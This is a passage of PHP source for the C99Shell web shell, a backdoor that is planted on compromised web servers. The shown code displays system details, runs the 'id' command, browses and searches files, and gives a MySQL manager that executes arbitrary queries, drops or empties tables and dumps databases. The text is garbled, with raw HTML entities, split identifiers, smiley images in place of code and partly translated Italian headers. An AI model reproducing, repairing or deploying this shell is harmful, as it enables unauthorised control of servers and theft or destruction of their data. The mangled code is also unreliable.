if (!function_exists(& quot;mysql_query_fo rm")
{
function mysql_query_form()< br /> {
global $submit,$sql_act,$s ql_query,$sql_query _result,$sql_confir m,$sql_query_error, $tbl_struct;
if (($submit) and (!$sql_query_result ) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "La query era vuota";} echo "<b>Erro re:</b> <br>".$s ql_query_error.&quo t;<br>"; }
if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
if ((!$submit) or ($sql_act))
{
echo "<table border=0><tr& gt;<td><fo rm name=\"c99sh_s qlquery\" method=POST>< b>"; if (($sql_query) and (!$submit)) {echo "Lo vuoi davvero";} else {echo "SQL-Query&quo t;;} echo ":</b>&l t;br><br>& lt;textarea name=sql_query cols=100 rows=10>".h tmlspecialchars($sq l_query)."< /textarea><br ><br><i nput type=hidden name=act value=sql><in put type=hidden name=sql_act value=query>< input type=hidden name=sql_tbl value=\"" .htmlspecialchars($ sql_tbl)."\&qu ot;><input type=hidden name=submit value=\"1\&quo t;><input type=hidden name=\"sql_got o\" value=\"" .htmlspecialchars($ sql_goto)."\&q uot;><input type=submit name=sql_confirm value=\"Yes\&q uot;>&nbsp;& lt;input type=submit value=\"No\&qu ot;></form> ;</td>";
if ($tbl_struct)
{
echo "<td valign=\"top\& quot;><b>F ields:</b>< ;br>";
foreach ($tbl_struct as $field) {$name = $field["Field& quot;]; echo "» <a href=\"#\" ; onclick=\"docu ment.c99sh_sqlquery .sql_query.value+=' `".$name." ;`';\">< b>".$name.& quot;</b>< /a><br>&qu ot;;}
echo "</td>&l t;/tr></table >";
}
}
if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;} }
}
if (!function_exists(& quot;mysql_create_d b")
{
function mysql_create_db($db ,$sock=""< img src='images/wink.gi f' />
{
$sql = "CREA DATABASE `".addslashes( $db)."`;" ;
if ($sock) {return mysql_query($sql,$s ock);}
else {return mysql_query($sql);}
}
}
if (!function_exists(& quot;mysql_query_pa rse")
{
function mysql_query_parse($ query)
{
$query = trim($query);
$arr = explode (" ",$query);
/*array array()
{
"METHOD"= >array(output_ty pe),
"METHOD1" ...
...
}
if output_type == 0, no output,
if output_type == 1, no output if no error
if output_type == 2, output without control-buttons
if output_type == 3, output with control-buttons
*/
$types = array(
"SELECT"= >array(3,1),
"SHOW"=&g t;array(2,1),
"DELETE"= >array(1),
"DROP"=&g t;array(1)
);
$result = array();
$op = strtoupper($arr[0]) ;
if (is_array($types[$o p]))
{
$result["prope rtions"] = $types[$op];
$result["query "] = $query;
if ($types[$op] == 2)
{
foreach($arr as $k=>$v)
{
if (strtoupper($v) == "LIMIT"
{
$result["limit "] = $arr[$k+1];
$result["limit "] = explode(",&quo t;,$result["li mit"]);
if (count($result[&quo t;limit"]) == 1) {$result["limi t"] = array(0,$result[&qu ot;limit"][0]) ;}
unset($arr[$k],$arr [$k+1]);
}
}
}
}
else {return FALSE;}
}
}
if (!function_exists(& quot;c99fsearch&quo t)
{
function c99fsearch($d)
{
global $found;
global $found_d;
global $found_f;
global $search_i_f;
global $search_i_d;
global $a;
if (substr($d,-1) != DIRECTORY_SEPARATOR ) {$d .= DIRECTORY_SEPARATOR ;}
$h = opendir($d);
while (($f = readdir($h)) !== FALSE)
{
if($f != "." && $f != ".."
{
$bool = (empty($a["nam e_regexp"]) and strpos($f,$a[" name"]) !== FALSE) || ($a["name_rege xp"] and ereg($a["name& quot;],$f));
if (is_dir($d.$f))
{
$search_i_d++;
if (empty($a["tex t"]) and $bool) {$found[] = $d.$f; $found_d++;}
if (!is_link($d.$f)) {c99fsearch($d.$f); }
}
else
{
$search_i_f++;
if ($bool)
{
if (!empty($a["te xt"]))
{
$r = @file_get_contents( $d.$f);
if ($a["text_wwo& quot;]) {$a["text" ;] = " ".trim($a[&quo t;text"]).&quo t; ";}
if (!$a["text_cs& quot;]) {$a["text" ;] = strtolower($a[" ;text"]); $r = strtolower($r);}
if ($a["text_rege xp"]) {$bool = ereg($a["text& quot;],$r);}
else {$bool = strpos(" ".$r,$a[" text"],1);}
if ($a["text_not& quot;]) {$bool = !$bool;}
if ($bool) {$found[] = $d.$f; $found_f++;}
}
else {$found[] = $d.$f; $found_f++;}
}
}
}
}
closedir($h);
}
}
if ($act == "gofile" {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}}
//Sending headers
@ob_start();
@ob_implicit_flush( 0);
function onphpshutdown()
{
global $gzipencode,$ft;
if (!headers_sent() and $gzipencode and !in_array($ft,array ("img",&q uot;download", "notepad"< img src='images/wink.gi f' />))
{
$v = @ob_get_contents();
@ob_end_clean();
@ob_start("ob_ gzHandler";
echo $v;
@ob_end_flush();
}
}
function c99shexit()
{
onphpshutdown(); exit;
}
header("Scade: Mon, 26 Jul 1997 05:00:00 GMT";
header("Ultima modifica: ".gmdate(" ;D, d M Y H:i:s"." GMT";
header("Contro llo-Cache: no-store, no-cache, must-revalidate&quo t;
header("Contro llo-Cache: post-check=0, pre-check=0", FALSE);
header("Pragma : no-cache";
if (empty($tmpdir))
{
$tmpdir = ini_get("uploa d_tmp_dir";
if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}
}
$tmpdir = realpath($tmpdir);< br /> $tmpdir = str_replace("\ \",DIRECTORY_S EPARATOR,$tmpdir);< br /> if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR ) {$tmpdir .= DIRECTORY_SEPARATOR ;}
if (empty($tmpdir_logs )) {$tmpdir_logs = $tmpdir;}
else {$tmpdir_logs = realpath($tmpdir_lo gs);}
if (@ini_get("saf e_mode" or strtolower(@ini_get ("safe_mode&qu ot) == "on"
{
$safemode = TRUE;
$hsafemode = "<font color=red>ON (Sicuro)</font&g t;";
}
else {$safemode = FALSE; $hsafemode = "<font color=blue>OFF (Non sicuro)</font> ;";}
$v = @ini_get("open _basedir";
if ($v or strtolower($v) == "on" {$openbasedir = TRUE; $hopenbasedir = "<font color=red>" .$v."</font >";}
else {$openbasedir = FALSE; $hopenbasedir = "<font color=blue>OFF (Non sicuro)</font> ;";}
$sort = htmlspecialchars($s ort);
if (empty($sort)) {$sort = $sort_default;}
$sort[1] = strtolower($sort[1] );
$DISP_SERVER_SOFTWA RE = getenv("SERVER _SOFTWARE";
if (!ereg("PHP/&q uot;.phpversion(),$ DISP_SERVER_SOFTWAR E)) {$DISP_SERVER_SOFTW ARE .= ". PHP/".phpversi on();}
$DISP_SERVER_SOFTWA RE = str_replace("P HP/".phpversio n(),"<a href=\"". $surl."act=php info\" target=\"_blan k\"><b&g t;<u>PHP/&quo t;.phpversion().&qu ot;</u></b ></a>" ;,htmlspecialchars( $DISP_SERVER_SOFTWA RE));
@ini_set("high light.bg",$hig hlight_bg); //FFFFFF
@ini_set("high light.comment" ,$highlight_comment ); //#FF8000
@ini_set("high light.default" ,$highlight_default ); //#0000BB
@ini_set("high light.html",$h ighlight_html); //#000000
@ini_set("high light.keyword" ,$highlight_keyword ); //#007700
@ini_set("high light.string", $highlight_string); //#0006FF
if (!is_array($actbox) ) {$actbox = array();}
$dspact = $act = htmlspecialchars($a ct);
$disp_fullpath = $ls_arr = $notls = null;
$ud = urlencode($d);
?><html>&l t;head><meta http-equiv="Ti po-Contenuto" content="text/ html; charset=windows-125 1"><meta http-equiv="Co ntent-Language" ; content="en-us "><title ><?php echo getenv("HTTP_H OST"; ?> - phpshell</title& gt;<STYLE>TD { FONT-SIZE: 8pt; COLOR: #ebebeb; FONT-FAMILY: verdana;}BODY { scrollbar-face-colo r: #0006FF; scrollbar-shadow-co lor: #101010; scrollbar-highlight -color: #101010; scrollbar-3dlight-c olor: #101010; scrollbar-darkshado w-color: #101010; scrollbar-track-col or: #101010; scrollbar-arrow-col or: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #dadada; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unkno wn { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{p osition:absolute; width:200px; border:2px solid black; background-color:me nu; font-family:Verdana ; line-height:20px; cursor:default; visibility:hidden;; }.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibili ty:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{p adding-left:15px; padding-right:10px; ;}input{background- color: #0006FF; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{b ackground-color: #0006FF; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{bac kground-color: #0006FF; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{bac kground-color: #0006FF; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #0006FF; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #0006FF; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #B7B2B0;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}</style ></head>&l t;BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0>&l t;center><TAB LE style="BORDER- COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#66 6666 cellPadding=5 width="100%&qu ot; bgColor=#333333 borderColorLight=#c 0c0c0 border=1 bordercolor="# C0C0C0">< ;tr><th width="101%&qu ot; height="15&quo t; nowrap bordercolor="# C0C0C0" valign="top&qu ot; colspan="2&quo t;><p>< font face=Webdings size=6><b> !</b></fon t><a href="<?php echo $surl; ?>">< font face="Verdana& quot; size="5"& gt;<b>C99Shel l <?php echo $shver; ?></b>< /font></a> <font face=Webdings size=6><b> !</b></fon t></p>< /center></th& gt;</tr><t r><td>< p align="left&qu ot;><b>Sof tware:&nbsp;< ;?php echo $DISP_SERVER_SOFTWA RE; ?></b>& ;nbsp;</p>< ;p align="left&qu ot;><b>una me -a:&nbsp;<?p hp echo wordwrap(php_uname( ),90,"<br&g t;",1); ?></b>& ;nbsp;</p>< ;p align="left&qu ot;><b>< ;?php if (!$win) {echo wordwrap(myshellexe c("id",90,"<br& gt;",1);} else {echo get_current_user(); } ?></b>& ;nbsp;</p>< ;p align="left&qu ot;><b>Saf e-mode:&nbsp;&l t;?php echo $hsafemode; ?></b>< /p><p align="left&qu ot;><?php
$d = str_replace("\ \",DIRECTORY_S EPARATOR,$d);
if (empty($d)) {$d = realpath(".&qu ot;} elseif(realpath($d) ) {$d = realpath($d);}
$d = str_replace("\ \",DIRECTORY_S EPARATOR,$d);
if (substr($d,-1) != DIRECTORY_SEPARATOR ) {$d .= DIRECTORY_SEPARATOR ;}
$d = str_replace("\ \\\","\\& quot;,$d);
$dispd = htmlspecialchars($d );
$pd = $e = explode(DIRECTORY_S EPARATOR,substr($d, 0,-1));
$i = 0;
foreach($pd as $b)
{
$t = "";
$j = 0;
foreach ($e as $r)
{
$t.= $r.DIRECTORY_SEPARA TOR;
if ($j == $i) {break;}
$j++;
}
echo "<a href=\"". $surl."act=ls& amp;d=".urlenc ode($t)."& sort=".$sort.& quot;\">< ;b>".htmlsp ecialchars($b).DIRE CTORY_SEPARATOR.&qu ot;</b></a >";
$i++;
}
echo "&nbsp;&am p;nbsp;&nbsp;&q uot;;
if (is_writable($d)) {
$wd = TRUE;
$wdt = "<font color=blue>-= ok =-</font>&quo t;;
echo "<b>< font color=blue>" ;.view_perms(filepe rms($d))."< /font></b> ";
}
else
{
$wd = FALSE;
$wdt = "<font color=red>-= Sola lettura =-</font>&quo t;;
echo "<b>&quo t;.view_perms_color ($d)."</b&g t;";
}
if (is_callable(" disk_free_space&quo t)
{
$free = disk_free_space($d) ;
$total = disk_total_space($d );
if ($free === FALSE) {$free = 0;}
if ($total === FALSE) {$total = 0;}
if ($free < 0) {$free = 0;}
if ($total < 0) {$total = 0;}
$used = $total-$free;
$free_percent = round(100/($total/$ free),2);
echo "<br>< ;b>Libero ".view_size($f ree)." of ".view_size($t otal)." (".$free_perce nt."%)</b&g t;";
}
echo "<br>&qu ot;;
$letters = "";
if ($win)
{
$v = explode("\\&qu ot;,$d);
$v = $v[0];
foreach (range("a" ;,"z" as $letter)
{
$bool = $isdiskette = in_array($letter,$s afemode_diskettes);
if (!$bool) {$bool = is_dir($letter.&quo t;:\\";}
if ($bool)
{
$letters .= "<a href=\"". $surl."act=ls& amp;d=".urlenc ode($letter.": \\"."\"&qu ot;.($isdiskette?&q uot; onclick=\"rito rna alla conferma('Sei sicuro che il disco sia inserito correttamente, altrimenti può verificarsi un errore.')\"&qu ot;:"".">[ ";
if ($letter.":&qu ot; != $v) {$letters .= $letter;}
else {$letters .= "<font color=blue>" ;.$letter."< ;/font>";}< br /> $letters .= " ]</a> ";
}
}
if (!empty($letters)) {echo "<b>Rile vamento azionamenti</b&g t;: ".$letters.&qu ot;<br>" ;}
}
if (count($quicklaunch ) > 0)
{
foreach($quicklaun ch as $item)
{
$item[1] = str_replace("% d",urlencode($ d),$item[1]);
$item[1] = str_replace("% sort",$sort,$i tem[1]);
$v = realpath($d.". .";
if (empty($v)) {$a = explode(DIRECTORY_S EPARATOR,$d); unset($a[count($a)- 2]); $v = join(DIRECTORY_SEPA RATOR,$a);}
$item[1] = str_replace("% upd",urlencode ($v),$item[1]);
echo "<a href=\"". $item[1]."\&qu ot;>".$item [0]."</a> ;&nbsp;&nbs p;&nbsp;&nb sp;";
}
}
echo "</p>< ;/td></tr> </table><b r>";
if ((!empty($donated_h tml)) and (in_array($act,$don ated_act))) {echo "<TABLE style=\"BORDER -COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#66 6666 cellPadding=5 width=\"100%\& quot; bgColor=#333333 borderColorLight=#c 0c0c0 border=1><tr& gt;<td width=\"100%\& quot; valign=\"top\& quot;>".$do nated_html."&l t;/td></tr> ;</table>< br>";}
echo "<TABLE style=\"BORDER -COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#66 6666 cellPadding=5 width=\"100%\& quot; bgColor=#333333 borderColorLight=#c 0c0c0 border=1><tr& gt;<td width=\"100%\& quot; valign=\"top\& quot;>";
if ($act == "" {$act = $dspact = "ls";}
if ($act == "sql"
{
$sql_surl = $surl."act=sql ";
if ($sql_login) {$sql_surl .= "&sql_logi n=".htmlspecia lchars($sql_login); }
if ($sql_passwd) {$sql_surl .= "&sql_pass wd=".htmlspeci alchars($sql_passwd );}
if ($sql_server) {$sql_surl .= "&sql_serv er=".htmlspeci alchars($sql_server );}
if ($sql_port) {$sql_surl .= "&sql_port =".htmlspecial chars($sql_port);}< br /> if ($sql_db) {$sql_surl .= "&sql_db=& quot;.htmlspecialch ars($sql_db);}
$sql_surl .= "&";< br /> ?><h3>Att enzione! SQL-Manager <u>NON</u& gt; e' un modulo pronto! Non riportate i bug.</h3>< TABLE style="BORDER- COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#66 6666 cellPadding=5 width="100%&qu ot; bgColor=#333333 borderColorLight=#c 0c0c0 border=1 bordercolor="# C0C0C0">< ;tr><td width="100%&qu ot; height="1" ; colspan="2&quo t; valign="top&qu ot;><center&g t;<?php
if ($sql_server)
{
$sql_sock = mysql_connect($sql_ server.":" ;.$sql_port, $sql_login, $sql_passwd);
$err = mysql_smarterror();
@mysql_select_db($s ql_db,$sql_sock); if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_qu ery,$sql_sock); $sql_query_error = mysql_smarterror(); }
}
else {$sql_sock = FALSE;}
echo "<b>SQL Manager:</b>& lt;br>";
if (!$sql_sock)
{
if (!$sql_server) {echo "NO CONNESSIONE";}
else {echo "<center> ;<b>Non può connettersi</b&g t;</center>&q uot;; echo "<b>&quo t;.$err."</ b>";}
}
else
{
$sqlquicklaunch = array();
$sqlquicklaunch[] = array("Index&q uot;,$surl."ac t=sql&sql_login =".htmlspecial chars($sql_login).& quot;&sql_passw d=".htmlspecia lchars($sql_passwd) ."&sql_ser ver=".htmlspec ialchars($sql_serve r)."&sql_p ort=".htmlspec ialchars($sql_port) ."&";
$sqlquicklaunch[] = array("Query&q uot;,$sql_surl.&quo t;sql_act=query& ;sql_tbl=".url encode($sql_tbl));< br /> $sqlquicklaunch[] = array("Server- status",$surl. "act=sql&s ql_login=".htm lspecialchars($sql_ login)."&s ql_passwd=".ht mlspecialchars($sql _passwd)."& ;sql_server=". htmlspecialchars($s ql_server)."&a mp;sql_port=". htmlspecialchars($s ql_port)."& ;sql_act=serverstat us";
$sqlquicklaunch[] = array("Server variables",$su rl."act=sql&am p;sql_login=". htmlspecialchars($s ql_login)."&am p;sql_passwd=" .htmlspecialchars($ sql_passwd)."& amp;sql_server=&quo t;.htmlspecialchars ($sql_server)." ;&sql_port=&quo t;.htmlspecialchars ($sql_port)."& amp;sql_act=serverv ars";
$sqlquicklaunch[] = array("Process es",$surl.&quo t;act=sql&sql_l ogin=".htmlspe cialchars($sql_logi n)."&sql_p asswd=".htmlsp ecialchars($sql_pas swd)."&sql _server=".html specialchars($sql_s erver)."&s ql_port=".html specialchars($sql_p ort)."&sql _act=processes" ;
$sqlquicklaunch[] = array("Logout& quot;,$surl."a ct=sql";
echo "<center> ;<b>MySQL ".mysql_get_se rver_info()." (proto v.".mysql_get_ proto_info ()." running in ".htmlspecialc hars($sql_server).& quot;:".htmlsp ecialchars($sql_por t)." as ".htmlspecialc hars($sql_login).&q uot;@".htmlspe cialchars($sql_serv er)." (password - \"".htmls pecialchars($sql_pa sswd)."\"< img src='images/wink.gi f' /></b><br& gt;";
if (count($sqlquicklau nch) > 0) {foreach($sqlquickl aunch as $item) {echo "[ <a href=\"". $item[1]."\&qu ot;><b>&qu ot;.$item[0]." </b></a> ; ] ";}}
echo "</center&g t;";
}
echo "</td>&l t;/tr><tr> ";
if (!$sql_sock) {?><td width="28%&quo t; height="100&qu ot; valign="top&qu ot;><center&g t;<font size="5"& gt; Informazioni </font></c enter><li> Se il login e' nullo, il login e' proprietario del processo.<li> Se l'host e' nullo, significa che e' il localhost</b> <li>Se la porta e' nulla, la porta e' la 3306 (default)</td> ;<td width="90%&quo t; height="1" ; valign="top&qu ot;><TABLE height=1 cellSpacing=0 cellPadding=0 width="100%&qu ot; border=0><tr& gt;<td>&n bsp;<b>Per favore, compilate il modulo:</b>&l t;table><tr&g t;<td><b&g t;Username</b> ;</td><td& gt;<b>Passwor d</b>&nbs p;</td><td ><b>Databa se</b>&nb sp;</td></ tr><form action="<?p hp echo $surl; ?>" method="POST&q uot;><input type="hidden&q uot; name="act" ; value="sql&quo t;><tr>< ;td><input type="text&quo t; name="sql_logi n" value="root&qu ot; maxlength="64& quot;></td> ;<td><inpu t type="password " name="sql_pass wd" value="" maxlength="64& quot;></td> ;<td><inpu t type="text&quo t; name="sql_db&q uot; value="" maxlength="64& quot;></td> ;</tr><tr& gt;<td><b& gt;Host</b>&l t;/td><td> <b>Porta</ b></td>< ;/tr><tr>& lt;td align=right>< input type="text&quo t; name="sql_serv er" value="localho st" maxlength="64& quot;></td> ;<td><inpu t type="text&quo t; name="sql_port " value="3306&qu ot; maxlength="6&q uot; size="3"& gt;</td><t d><input type="submit&q uot; value="Connett i"></td& gt;</tr><t r><td>< /td></tr>& lt;/form></ta ble></td>& lt;?php }
else
{
//Start left panel
if (!empty($sql_db)) {
?><td width="25%&quo t; height="100%&q uot; valign="top&qu ot;><a href="<?php echo $surl."act=sql &sql_login=&quo t;.htmlspecialchars ($sql_login)." &sql_passwd=&qu ot;.htmlspecialchar s($sql_passwd).&quo t;&sql_server=& quot;.htmlspecialch ars($sql_server).&q uot;&sql_port=& quot;.htmlspecialch ars($sql_port).&quo t;&"; ?>">< b>Home</b> </a><hr size="1" noshade><?php
$result = mysql_list_tables($ sql_db);
if (!$result) {echo mysql_smarterror(); }
else
{
echo "-= <a href=\"". $sql_surl."&am p;\"><b& gt;".htmlspeci alchars($sql_db).&q uot;</b></ a> =-<br>";
$c = 0;
while ($row = mysql_fetch_array($ result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($ count); echo "<b>»&a mp;nbsp;<a href=\"". $sql_surl."sql _db=".htmlspec ialchars($sql_db).& quot;&sql_tbl=& quot;.htmlspecialch ars($row[0])." \"><b> ;".htmlspecial chars($row[0]).&quo t;</b></a& gt; (".$count_row[ 0]."</br></b >"; mysql_free_result($ count); $c++;}
if (!$c) {echo "No tables found in database.";} }
}
else
{
?><td width="1" height="100&qu ot; valign="top&qu ot;><a href="<?php echo $sql_surl; ?>">< b>Home</b> </a><hr size="1" noshade><?php
$result = mysql_list_dbs($sql _sock);
if (!$result) {echo mysql_smarterror(); }
else
{
?><form action="<?p hp echo $surl; ?>">< input type="hidden&q uot; name="act" ; value="sql&quo t;><input type="hidden&q uot; name="sql_logi n" value="<?ph p echo htmlspecialchars($s ql_login); ?>">< input type="hidden&q uot; name="sql_pass wd" value="<?ph p echo htmlspecialchars($s ql_passwd); ?>">< input type="hidden&q uot; name="sql_serv er" value="<?ph p echo htmlspecialchars($s ql_server); ?>">< input type="hidden&q uot; name="sql_port " value="<?ph p echo htmlspecialchars($s ql_port); ?>">< select name="sql_db&q uot;><?php
$c = 0;
$dbs = "";
while ($row = mysql_fetch_row($re sult)) {$dbs .= "<option value=\"" .$row[0]."\&qu ot;"; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$r ow[0]."</op tion>"; $c++;}
echo "<option value=\"\" ;>Databases (".$c."</option>&q uot;;
echo $dbs;
}
?></select> ;<hr size="1" noshade>Per favore, seleziona il database<hr size="1" noshade><inpu t type="submit&q uot; value="Vai&quo t;></form> <?php
}
//End left panel
echo "</td>&l t;td width=\"100%\& quot; height=\"1\&qu ot; valign=\"top\& quot;>";
//Start center panel
$diplay = TRUE;
if ($sql_db)
{
if (!is_numeric($c)) {$c = 0;}
if ($c == 0) {$c = "no";}
echo "<hr size=\"1\" ; noshade><cent er><b>Ther e are ".$c." table(s) in this DB (".htmlspecial chars($sql_db).&quo t.<br>" ;
if (count($dbquicklaun ch) > 0) {foreach($dbsqlquic klaunch as $item) {echo "[ <a href=\"". $item[1]."\&qu ot;>".$item [0]."</a> ; ] ";}}
echo "</b>< ;/center>";
$acts = array("", "dump";
if ($sql_act == "tbldrop"< img src='images/wink.gi f' /> {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v. "` ,";} $sql_query = substr($sql_query,0 ,-1).";"; $sql_act = "query";}
elseif ($sql_act == "tblempty" {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";}
elseif ($sql_act == "tbldump"< img src='images/wink.gi f' /> {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";}< br /> elseif ($sql_act == "tblcheck" {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v. "` ,";} $sql_query = substr($sql_query,0 ,-1).";"; $sql_act = "query";}
elseif ($sql_act == "tbloptimize&q uot {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v. "` ,";} $sql_query = substr($sql_query,0 ,-1).";"; $sql_act = "query";}
elseif ($sql_act == "tblrepair&quo t {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v. "` ,";} $sql_query = substr($sql_query,0 ,-1).";"; $sql_act = "query";}
elseif ($sql_act == "tblanalyze&qu ot {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v. "` ,";} $sql_query = substr($sql_query,0 ,-1).";"; $sql_act = "query";}
elseif ($sql_act == "deleterow&quo t {$sql_query = ""; if (!empty($boxrow_all )) {$sql_query = "DELETE * FROM `".$sql_tbl.&q uot;`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl.&q uot;` WHERE".$v.&quo t; LIMIT 1;\n";} $sql_query = substr($sql_query,0 ,-1);} $sql_act = "query";}
elseif ($sql_tbl_act == "insert"
{
if ($sql_tbl_insert_ra dio == 1)
{
$keys = "";
$akeys = array_keys($sql_tbl _insert);
foreach ($akeys as $v) {$keys .= "`".addsl ashes($v)."`, ";}
if (!empty($keys)) {$keys = substr($keys,0,strl en($keys)-2);}
$values = "";
$i = 0;
foreach (array_values($sql_ tbl_insert) as $v) {if ($funct = $sql_tbl_insert_fun cts[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addsl ashes($v)."'&q uot;; if ($funct) {$values .= "";} $values .= ", "; $i++;}
if (!empty($values)) {$values = substr($values,0,st rlen($values)-2);}< br /> $sql_query = "INSERT INTO `".$sql_tbl.&q uot;` ( ".$keys." ) VALUES ( ".$values.&quo t; );";
$sql_act = "query";< br /> $sql_tbl_act = "browse";
}
elseif ($sql_tbl_insert_ra dio == 2)
{
$set = mysql_buildwhere($s ql_tbl_insert," ;, ",$sql_tbl_ins ert_functs);
$sql_query = "UPDATE `".$sql_tbl.&q uot;` SET ".$set." WHERE ".$sql_tbl_ins ert_q." LIMIT 1;";
$result = mysql_query($sql_qu ery) or print(mysql_smarter ror());
$result = mysql_fetch_array($ result, MYSQL_ASSOC);
$sql_act = "query";< br /> $sql_tbl_act = "browse";
}
}
if ($sql_act == "query"
{
echo "<hr size=\"1\" ; noshade>";< br /> if (($submit) and (!$sql_query_result ) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "La query era vuota";} echo "<b>Erro re:</b> <br>".$s ql_query_error.&quo t;<br>"; }
if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
if ((!$submit) or ($sql_act)) {echo "<table border=\"0\&qu ot; width=\"100%\& quot; height=\"1\&qu ot;><tr>&l t;td><form action=\"" ;.$sql_surl."\ " method=\"POST\ "><b> "; if (($sql_query) and (!$submit)) {echo "Vuoi veramente:";} else {echo "SQL-Query :";} echo "</b>< ;br><br>&l t;textarea name=\"sql_que ry\" cols=\"100\&qu ot; rows=\"10\&quo t;>".htmlsp ecialchars($sql_que ry)."</text area><br>& lt;br><input type=\"hidden\ " name=\"sql_act \" value=\"query\ "><input type=\"hidden\ " name=\"sql_tbl \" value=\"" .htmlspecialchars($ sql_tbl)."\&qu ot;><input type=\"hidden\ " name=\"submit\ " value=\"1\&quo t;><input type=\"hidden\ " name=\"sql_got o\" value=\"" .htmlspecialchars($ sql_goto)."\&q uot;><input type=\"submit\ " name=\"sql_con firm\" value=\"Yes\&q uot;>&nbsp;& lt;input type=\"submit\ " value=\"No\&qu ot;></form> ;</td></tr ></table>& quot;;}
}
if (in_array($sql_act, $acts))
{
?><table border="0" ; width="100%&qu ot; height="1" ;><tr>< td width="30%&quo t; height="1" ;><b>Crea una nuova tabella:</b>& lt;form action="<?p hp echo $surl; ?>">< input type="hidden&q uot; name="act" ; value="sql&quo t;><input type="hidden&q uot; name="sql_act& quot; value="newtbl& quot;><input type="hidden&q uot; name="sql_db&q uot; value="<?ph p echo htmlspecialchars($s ql_db); ?>">< input type="hidden&q uot; name="sql_logi n" value="<?ph p echo htmlspecialchars($s ql_login); ?>">< input type="hidden&q uot; name="sql_pass wd" value="<?ph p echo htmlspecialchars($s ql_passwd); ?>">< input type="hidden&q uot; name="sql_serv er" value="<?ph p echo htmlspecialchars($s ql_server); ?>">< input type="hidden&q uot; name="sql_port " value="<?ph p echo htmlspecialchars($s ql_port); ?>">< input type="text&quo t; name="sql_newt bl" size="20" >&nbsp;<i nput type="submit&q uot; value="Create& quot;></form& gt;</td><t d width="30%&quo t; height="1" ;><b>Dump DB:</b><fo rm action="<?p hp echo $surl; ?>">< input type="hidden&q uot; name="act" ; value="sql&quo t;><input type="hidden&q uot; name="sql_act& quot; value="dump&qu ot;><input type="hidden&q uot; name="sql_db&q uot; value="<?ph p echo htmlspecialchars($s ql_db); ?>">< input type="hidden&q uot; name="sql_logi n" value="<?ph p echo htmlspecialchars($s ql_login); ?>">< input type="hidden&q uot; name="sql_pass wd" value="<?ph p echo htmlspecialchars($s ql_passwd); ?>">< input type="hidden&q uot; name="sql_serv er" value="<?ph p echo htmlspecialchars($s ql_server); ?>">< input type="hidden&q uot; name="sql_port " value="<?ph p echo htmlspecialchars($s ql_port); ?>">< input type="text&quo t; name="dump_fil e" size="30" value="<?ph p echo "dump_".g etenv("SERVER_ NAME"."_".$s ql_db."_" .date("d-m-Y-H -i-s".".sql" ; ?>">& ;nbsp;<input type="submit&q uot; name=\"submit\ " value="Dump&qu ot;></form> ;</td><td width="30%&quo t; height="1" ;></td>< ;/tr><tr>& lt;td width="30%&quo t; height="1" ;></td>< ;td width="30%&quo t; height="1" ;></td>< ;td width="30%&quo t; height="1" ;></td>< ;/tr></table& gt;<?php
if (!empty($sql_act)) {echo "<hr size=\"1\" ; noshade>";}
if ($sql_act == "newtbl"
{
echo "<b>&quo t;;
